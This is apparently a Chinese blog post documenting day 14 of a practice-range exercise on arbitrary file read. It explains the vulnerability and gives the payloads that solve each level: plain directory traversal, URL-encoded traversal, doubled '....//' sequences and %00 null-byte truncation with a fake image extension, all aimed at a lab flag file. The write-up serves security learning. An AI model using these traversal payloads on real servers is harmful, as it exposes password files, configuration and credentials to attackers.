靶场练习day14--任意文件读取

一.文件读取

1.概念

任意文件读取漏洞(Arbitrary File Read Vulnerability)是指攻击者可以通过web应用程序读取任意文件而不受访问控制限制的漏洞。这种漏洞可能导致敏感信息泄露、系统崩溃等问题。

攻击者可以利用任意文件读取漏洞访问服务器上的任意文件,包括密码文件、配置文件等,从而获取系统权限和敏感信息。此外,攻击者还可以利用该漏洞读取应用程序中的敏感数据,如数据库凭据、API密钥 等。

任意文件读取漏洞通常是由于未正确验证用户输入所导致的。攻击者可以通过构造特殊的请求参数来绕过应用程序的访问控制,从而访问任意文件。例如,攻击者可以通过修改URL路径或添加特殊字符来访问非预期的文件。

二.靶场实战

1.初级-任意文件读取

直接目录遍历即可 ../../../../tmp/flag.txt,或者直接用绝对路径/tmp/flag.txt

2.你需要了解什么是路径穿越

根据题目,还是考察的目录遍历

3.任意文件读取的简单绕过1

URL编码绕过

%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Ftmp%2Fflag.txt

../../../../../tmp/flag.txt

4.任意文件读取的简单绕过2

双写绕过

....//....//....//....//tmp/flag.txt

5.任意文件读取的简单绕过3

00%截断 + 文件扩展名绕过

../../../../tmp/flag.txt%00.png

在PHP 5.3.4之前的版本中,%00(空字节)在C语言层面有特殊作用:

PHP底层用C语言处理文件操作

C语言中字符串以\0(空字节)作为结束符

当拼接文件名时,遇到%00就认为字符串结束了

相关推荐
IPdodo_1 小时前
跨境 API 调用不稳定怎么办:出口、超时重试与链路监控的实践
网络·python·网络协议
xiaoye-duck4 小时前
《Linux 网络编程》深入理解 IP 协议(二):网段划分、私有 IP 与 NAT 地址转换
linux·网络·ip
广州宏帝箱包7 小时前
出口箱包的包装标准:防潮、防摔、运输安全的设计要点
大数据·网络
彧azz7 小时前
Linux 网络编程学习总结
linux·网络·笔记·学习·面试
updayday8547 小时前
离职域账号状态变更与Ping64操作记录核对
大数据·网络·数据库·安全·智能路由器
安易算力8 小时前
PUE优化工程实践:从1.5到1.2的制冷架构与气流组织改造路径
网络·python·容器·架构·kubernetes
Ivanqhz9 小时前
数据搬运是性能关键
java·服务器·网络·人工智能·深度学习
Julien200410 小时前
自动挂载网络附加存储
linux·服务器·网络
K成长日志10 小时前
BLE链路层-隐私保护
网络·物联网·蓝牙·iot·ble
K成长日志10 小时前
BLE链路层-Feature Support
网络·嵌入式·无线通信·蓝牙·iot·ble